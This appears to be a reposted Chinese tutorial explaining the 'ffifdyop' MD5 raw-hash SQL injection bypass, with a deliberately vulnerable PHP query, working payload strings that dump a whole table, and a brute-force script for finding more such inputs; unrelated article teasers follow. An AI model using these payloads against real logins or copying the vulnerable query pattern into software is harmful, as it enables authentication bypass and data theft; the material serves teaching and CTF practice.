MD5 绕过第三式:ffifdyop

文章目录

  • 参考
  • 环境
  • 推荐阅读
  • 雾现
      • 两个 PHP 文件
      • 表结构
      • 分析
  • 雾散
      • ASCII 编码
      • 二进制数据到 ASCII 文本的转化
      • 绕过原理
      • ffifdyop
          • 绕过
  • ffifdyop 的批量化生产
      • 批量化生产
      • 注意事项
          • 细节
            • 一字之差
            • 运算符优先级
          • 实际需要遵守的规则
      • 生产机器

参考

项目描述
搜索引擎BingGoogle
AI 大模型文心一言通义千问讯飞星火认知大模型ChatGPT
PHP 手册PHP Manual
MySQL Documentationhttps://dev.mysql.com/doc/
菜鸟教程MySQL 教程
C 语言中文网PHP正则表达式,看这一篇就够了

环境

项目描述
PHP8.0.0
SQL Version8.0.33 MySQL Community Server - GPL

推荐阅读

项目描述
CSDNMD5 绕过第一式:弱比较绕过
CSDNMD5 绕过第二式:数组绕过

雾现

两个 PHP 文件

db_info.php

<?php// 定义与数据库相关的常量
# 提供运行 MySQL 服务的服务器地址
const HOSTNAME = 'localhost';
# 登录 MySQl 服务器使用的用户名
const USERNAME = 'root';
# 登录用户 root 的密码
const PASSWORD = '123456';
# 连接 MySQL 后需要使用到的数据库
const DATABASE = 'db_test';

search.php

<?php# 包含文件以获取登录服务器所需要使用到的常量
include_once('./db_info.php');# 模拟用户输入
$user_input = 'User Input';# 尝试连接数据库,若连接失败则立即终止程序
$db = mysqli_connect(HOSTNAME, USERNAME, PASSWORD, DATABASE) or die();# 构造 SQL 查询语句
$qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
# 向 MySQL 发起查询操作
$result = mysqli_query($db, $qs);# 向 MySQL 获取查询结果
while ($content = mysqli_fetch_assoc($result)) {var_dump($content);
}

上述 PHP 代码分别是 db_info.phpsearch.php 文件中的内容。其中,db_info.php 文件保存了通过 PHP 插件 mysqli 连接 MySQL 所需要的信息。而 test.php 则尝试连接 MySQL,并在连接后向 MySQL 发起查询以获取所需要的数据。

表结构

在本示例中,我们使用到的数据库是 db_test,使用到的表是 data

在终端中使用如下语句以获取表 data 的创建信息:

SHOW CREATE TABLE data\G

得到如下内容:

*************************** 1. row ***************************Table: data
Create Table: CREATE TABLE `data` (`username` varchar(25) DEFAULT NULL,`password` varbinary(16) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci
1 row in set (0.00 sec)

由输出可知,data 中包含两个字段,分别为 usernamepasswordusername 使用 varchar(25) 作为其数据类型,这意味着 username 字段至多可以接受 25字符 作为该字段的值。而 password 使用 binary(16) 作为其数据类型,着意味着 password 字段至多可以接收 16 字节的 二进制数据 作为该字段的值。

尝试查询 data 表中的所有数据

在终端中执行如下语句:

SELECT * FROM data;

得到如下结果:

+----------+------------------------------------+
| username | password                           |
+----------+------------------------------------+
| admin    | 0x1E6947AC7FB3A9529A9726EB692C8CC5 |
| RedHeart | 0xDC04139732D12110E885BA1C703B3C42 |
+----------+------------------------------------+
2 rows in set (0.00 sec)

分析

search.php 文件中,我们的重点是如下代码片段。

# 构造 SQL 查询语句
$qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
# 向 MySQL 发起查询操作
$result = mysqli_query($db, $qs);

search.php 尝试向 MySQL 发起查询,向 data 表中查询 username 字段为 admin 以及 passwordmd5($user_input, true) 函数的二进制加密结果的行记录。其中,$user_input 变量用于模拟用户的输入。我们的目标便是 通过构造合适的用户输入,使得查询操作能够获取到 data 表中的所有内容

注:

在现代科技的攻势下,MD5 的哈希结果已经能够在 数小时内找到能够产生哈希碰撞的另一原始数据值🧙🏻‍♂️,所以请使用安全系数更高的哈希函数来加密密码吧。

雾散

ASCII 编码

ASCII(American Standard Code for Information Interchange) 是一种字符编码标准,用于 将文本字符映射到数值ASCII 最早🤞在计算机领域中广泛使用,它定义了 128 个不同的字符,包括 控制字符(如换行和回车) 以及 可打印字符(如字母、数字、标点符号等)。ASCII 定义的每个字符都被分配了一个 唯一的整数值,范围从 0127

注:

世界上存在许多的编码方案,但这些方案大多是 基于 ASCII 编码进行扩展的🌹,因此 ASCII 编码也被认为是 字符编码的基础

二进制数据到 ASCII 文本的转化

PHP 中的 md5() 函数在第二个参数为 true 时会将 MD5 哈希结果以二进制数据 的形式进行返回,因 MD5 函数的返回值类型为 字符串,故在返回结果前,二进制数据将使用 ASCII 进行 解码(二进制数据到文本字符的转化)。对此,请参考如下示例:

<?phpvar_dump(md5('Hello World', true));

执行效果

其中:

  1. 由四边形包裹的问号
    一个字节能够表示的十进制数的范围为 0~255,而 ASCII 中的字符的编号范围为 0~127,两者的范围不对等。因此,当一个字节所表示的十进制数在 128~255 时,该字节将使用 四边形包裹的问号(不同的环境可能有不同的表现方式) 表示。
  2. ASCII 字符
    字节的 十进制数表示0~127 时,均使用 ASCII 中相应的字符进行表示。
  3. 小而多(容量大,包含几个字符)的方块字
    ASCII 字符中存在一部分 控制字符,这些字符起着控制作用,由于 没有这些字符的具体表现形式,所以使用 表示这些控制字符的英文缩写的方块字 来展现这些字符。
  4. 在上述内容中存在一个换行,这是由于某个字节转化为 ASCII 字符后得到了 可打印字符——换行符所产生的效果。

绕过原理

二进制数据会被转化为 ASCII 字符✨,如果某一个字符串在经过 MD5 哈希后,得到的二进制数据转化为 ASCII 文本后恰能够与周围的文本形成 SQL 注入语句,那么我们就能够绕过限制,成功发起攻击😈。

ffifdyop

在此类绕过实践中,ffifdyop 就是一个得力的工具。对此,请参考如下示例:

<?phpvar_dump(md5('ffifdyop', true));

执行效果

string(16) "'or'6�]��!r,��b"

ffifdyop 经过两次转化后得到的结果是 'or'6�]��!r,��b。位于 or 两侧的单引号可以用于闭合两端的单引号,使得 or 不再被 MySQL 认为是字符串,而是一个关键字,发挥着 逻辑或运算符 的作用。

绕过

尝试将 search.php 文件中的 $user_input 赋值为 ffifdyop

<?php# 包含文件以获取登录服务器所需要使用到的常量
include_once('./db_info.php');# 模拟用户输入
$user_input = 'ffifdyop';# 尝试连接数据库,若连接失败则立即终止程序
$db = mysqli_connect(HOSTNAME, USERNAME, PASSWORD, DATABASE) or die();# 构造 SQL 查询语句
$qs = "SELECT * FROM data WHERE username = 'admin' and password ='" . md5($user_input, true) . "';";
# 输出构造结果,便于分析
var_dump($qs);
# 向 MySQL 发起查询操作
$result = mysqli_query($db, $qs);# 向 MySQL 获取查询结果
while ($content = mysqli_fetch_assoc($result)) {var_dump($content);
}

执行效果

由于 WHERE 关键字后的条件语句 username = '' and password =''or'6�]��!r,��b' 对于表中的每一个字段都为 true,因此我们成功的实现了 SQL 注入,获得了 data 表中的所有数据。

string(77) "SELECT * FROM data WHERE username = 'admin' and password =''or'6�]��!r,��b';"
array(2) {["username"]=>string(5) "admin"["password"]=>string(16) "iG���R��&�i,��"
}
array(2) {["username"]=>string(8) "RedHeart"["password"]=>string(16) "��2�!腺p;<B"
}

ffifdyop 的批量化生产

批量化生产

除了 ffifdyop 外,还存在许多类似的文本。对此,请参考如下示例:

<?phpvar_dump(md5(`16529176061`, true));
var_dump(md5(5207660362, true));
var_dump(md5('ffifdyop', true));

执行效果

string(16) "'OR'1q1uMp$��7"
string(16) "@;-V'or'2�9D��"
string(16) "'or'6�]��!r,��b"

要获得更多像 ffifdyop 这样的文本仅需要编写适当的程序。这个程序需要 产生许多文本并在随后对这些文本进行 MD5 哈希及 ASCII 的转化,最后设计从中挑选符合某一规则的文本 即可。至于需要符合的某一规则,可以是包含 ' or ' 的文本👹。

注意事项

细节
一字之差

在继续讲解前,请先观察如下两条 SQL 语句及其查询结果:

mysql> SELECT * FROM data WHERE username = 'admin' and password = 'Random' or '1Hello';
+----------+------------------------------------+
| username | password                           |
+----------+------------------------------------+
| admin    | 0x1E6947AC7FB3A9529A9726EB692C8CC5 |
| RedHeart | 0xDC04139732D12110E885BA1C703B3C42 |
+----------+------------------------------------+
2 rows in set, 1 warning (0.00 sec)mysql> SELECT * FROM data WHERE username = 'admin' and password = 'Random' or 'Hello';
Empty set, 1 warning (0.00 sec)

两条 SQL 查询语句 仅仅存在一字之差。使用 '1Hello' 却成功实现了 SQL注入,而使用 'Hello' 却什么也没有获得。

运算符优先级

在 MySQL 中,运算符之间是存在优先级的。在进行运算过程中,运算符优先级更高的运算优先进行。在同时存在 =andor 的运算中,MySQL 将优先处理 =,其次 and,最后 or

username = 'admin' and password = 'Random' or 'Hello'

在上述运算中,username = 'admin'password = 'Random' 将被优先运算,但由于字段与相应字段值均不相符,故两者的运算结果均为 falsefalse and false 的结果也是 false。最后,false or 'Hello' 该如何进行?

false or 'Hello' 中,'Hello' 将被转化为布尔值。依据 MySQL 相关的转化规则,以 非零数值开头的字符串 都将被转化为 true,其他字符串则被转化为 false。于是一字之差决定了成败🧐。

实际需要遵守的规则

因此在 ffifdyop 的批量化生产中,挑选的规则不是只是包含 ' or ' 的文本,而应该是:

包含 ' or ' 的文本,且 第二个引号的右侧的第一个字符需要是数字字符(0 ~ 9)

生产机器

依据 类 ffifdyop 文本 的挑选规则,我们编写了如下 PHP 脚本:

<?phpconst MAX_EDGE = 9999999999;for ($i=0; $i<MAX_EDGE; $i++) {if (preg_match("/'\s*or\s*'\d+/i", md5($i, true))) {print("\n" . $i . "\n");} else {# pass}
}

在上述文本中,我们尝试通过使用循环变量 $i 作为可能的 ffifdyop 文本。在每一轮循环中,我们都将通过 preg_match() 提供的 正则表达式 来判断 $iMD5 哈希结果值的 ASCII 形式 中是否符合 规定的文本模式,若符合则将其输出至终端中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/91850.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

幂级数和幂级数的和函数有什么关系?

幂级数和幂级数的和函数有什么关系&#xff1f; 本文例子引用自&#xff1a;80_1幂级数运算&#xff0c;逐项积分、求导【小元老师】高等数学&#xff0c;考研数学 求幂级数 ∑ n 1 ∞ 1 n x n \sum\limits_{n1}^{\infty}\frac{1}{n}x^n n1∑∞​n1​xn 的和函数 &#xff…

分析各种表达式求值过程

目录 算术运算与赋值 编译器常用的两种优化方案 常量传播 常量折叠 加法 Debug编译选项组下编译后的汇编代码分析 Release开启02执行效率优先 减法 Release版下优化和加法一致&#xff0c;不再赘述 乘法 除法 算术结果溢出 自增和自减 关系运算与逻辑运算 JCC指…

乐鑫 ESP-Mesh-Lite在windows下的开发环境搭建

ESP-Mesh-Lite的开发环境由于没有官方教程&#xff0c;折腾了好几天。环境搭建主要还是参考ESP-MDF环境搭建&#xff0c;特别注意的是必须要在CMD环境下操作&#xff0c;不能用POWER SHELL。 ESP-Mesh-Lite目前支持到5.1的SDK&#xff0c;当然4.4也是可以用的。首先上Gitee或G…

百度统计配置详细图文教程包含siteId、百度统计AccessToken、百度统计代码获取步骤教程

一、前言 很多网友开发者都不知道百度统计siteId、百度统计token怎么获取&#xff0c;在网上找的教程都是几年前老的教程&#xff0c;因此给大家出一期详细百度统计siteId、百度统计token、百度统计代码获取详细步骤教程。 二、登录到百度统计 1.1 登录到百度统计官网 使用个…

SPSS探索性分析

前言&#xff1a; 本专栏参考教材为《SPSS22.0从入门到精通》&#xff0c;由于软件版本原因&#xff0c;部分内容有所改变&#xff0c;为适应软件版本的变化&#xff0c;特此创作此专栏便于大家学习。本专栏使用软件为&#xff1a;SPSS25.0 本专栏所有的数据文件可在个人主页—…

StarRocks数据导入

1、相关环境 Flink作为当前流行的流式计算框架&#xff0c;在对接StarRocks时&#xff0c;若直接使用JDBC的方式"流式"写入数据&#xff0c;对StarRocks是不友好的&#xff0c;StarRocks作为一款MVCC的数据库&#xff0c;其导入的核心思想还是"攒微批降频率&qu…

SPSS列联表分析

前言&#xff1a; 本专栏参考教材为《SPSS22.0从入门到精通》&#xff0c;由于软件版本原因&#xff0c;部分内容有所改变&#xff0c;为适应软件版本的变化&#xff0c;特此创作此专栏便于大家学习。本专栏使用软件为&#xff1a;SPSS25.0 本专栏所有的数据文件可在个人主页—…

BUUCTF reverse wp 71 - 75

[NPUCTF2020]你好sao啊 int __cdecl main(int argc, const char **argv, const char **envp) {__int64 v3; // rax__int64 v4; // rdx__int64 v5; // raxsize_t v6; // rax__int64 v7; // rax__int64 v8; // rdx__int64 v9; // rax__int64 v11; // rdx__int64 v12; // raxchar …

【STM32】IAP升级01 bootloader实现以及APP配置(主要)

APP程序以及中断向量表的偏移设置 前言 通过之前的了解 之前的了解&#xff0c;我们知道实现IAP升级需要两个条件&#xff1a; 1.APP程序必须在 IAP 程序之后的某个偏移量为 x 的地址开始&#xff1b; 2.APP程序的中断向量表相应的移动&#xff0c;移动的偏移量为 x&#xff…

ROS2 中的轻量级、自动化、受控回放

一、说明 这篇文章描述了一种在 ROS2 中实现受控重播器的轻量级方法。用以测试中将现象重新播放一遍&#xff0c;以实现调参或故障定位的目的。所有源代码都可以在这里找到。该帖子也可在此处获得。 二、问题&#xff1a;不同步重播 任何曾经认真开发过 ROS2 的人都会知道这个问…

cloudCompare教程:一、可视化、点、线编辑

依据高度等准则(都在Scalar Fields中)渲染点云&#xff08;首先要打开Tools -> Projection -> Export coordinate to SF&#xff09; 在上述准则之外的&#xff0c;设置为不显示&#xff1a; 软件的显示设置&#xff08;首先打开右边的彩色柱状图&#xff0c;点击左边属性…

ECharts多个数据视图进行自适应大小的解决方案

项目场景&#xff1a; 在制作数据视图时经常会遇到多个数据视图的情况&#xff0c;在多个数据视图的情况下做自适应是比较麻烦的&#xff0c;这里就详细的分析一下该如何去制作&#xff0c;分享一下我的解决办法及思路。 定义 DOM 容器 这里需要注意一个地方&#xff0c;在定…

idea Springboot 校园助学贷款系统VS开发mysql数据库web结构java编程计算机网页源码maven项目

一、源码特点 springboot 校园助学贷款系统是一套完善的信息系统&#xff0c;结合springboot框架和bootstrap完成本系统&#xff0c;对理解JSP java编程开发语言有帮助系统采用springboot框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统 具有完整的源代码和数据库&…

2023.09.30使用golang1.18编译Hel10-Web/Databasetools的windows版

#Go 1.21新增的 log/slog 完美解决了以上问题&#xff0c;并且带来了很多其他很实用的特性。 本次编译不使用log/slog 包 su - echo $GOPATH ;echo $GOROOT; cd /tmp; busybox wget --no-check-certificate https://go.dev/dl/go1.18.linux-amd64.tar.gz;\ which tar&&am…

C++核心编程--继承篇

4.6、继承 继承是面向对象三大特征之一 有些类与类之间存在特殊的关系&#xff0c;例如下图中&#xff1a; ​ 我们发现&#xff0c;定义这些类的定义时&#xff0c;都拥有上一级的一些共性&#xff0c;还有一些自己的特性。那么我们遇到重复的东西时&#xff0c;就可以考虑使…

用go实现http服务端和请求端

一、概述 本文旨在学习记录下如何用go实现建立一个http服务器&#xff0c;同时构造一个专用格式的http客户端。 二、代码实现 2.1 构造http服务端 1、http服务处理流程 基于HTTP构建的服务标准模型包括两个端&#xff0c;客户端(Client)和服务端(Server)。HTTP 请求从客户端…

泰国数字加密平台Bitkub创始人到访上海和数集团

2023年9月21日&#xff0c;泰国数字加密货币交易平台Bitkub创始人兼首席执行官&#xff08;CEO&#xff09;Jirayut Srupsrisopa (Topp)先生到访上海和数集团总部。董事长唐毅先生热情会见了来宾&#xff0c;双方进行了友好深入的交流。 和数集团国际部经理晋松&#xff1b;苏州…

BUUCTF reverse wp 76 - 80

[CISCN2018]2ex 四处游走寻找关键代码 int __fastcall sub_400430(int a1, unsigned int a2, int a3) {unsigned int v3; // $v0int v4; // $v0int v5; // $v0int v6; // $v0unsigned int i; // [sp8h] [8h]unsigned int v9; // [sp8h] [8h]int v10; // [spCh] [Ch]v10 0;for…

在 Python 中列出虚拟环境

文章目录 在Python中列出虚拟环境使用lsvirtualenv命令使用Conda命令使用workon命令 总结 虚拟环境是一个独立的环境&#xff0c;我们可以在其中安装库、包、脚本和Python解释器。如果你的项目需要不同版本的库或Python解释器&#xff0c;你可以为每个项目创建单独的虚拟环境。…

2.索引操作

1. 创建索引 创建索引就等于创建数据库&#xff0c;ES使用put操作创建索引&#xff0c;我们创建一个students的索引&#xff0c;只需要发生put请求&#xff1a;http://127.0.0.1:9200/students 2. 查看索引 2.1 查看所有索引&#xff1a; 使用http://127.0.0.1:9200/_cat/ind…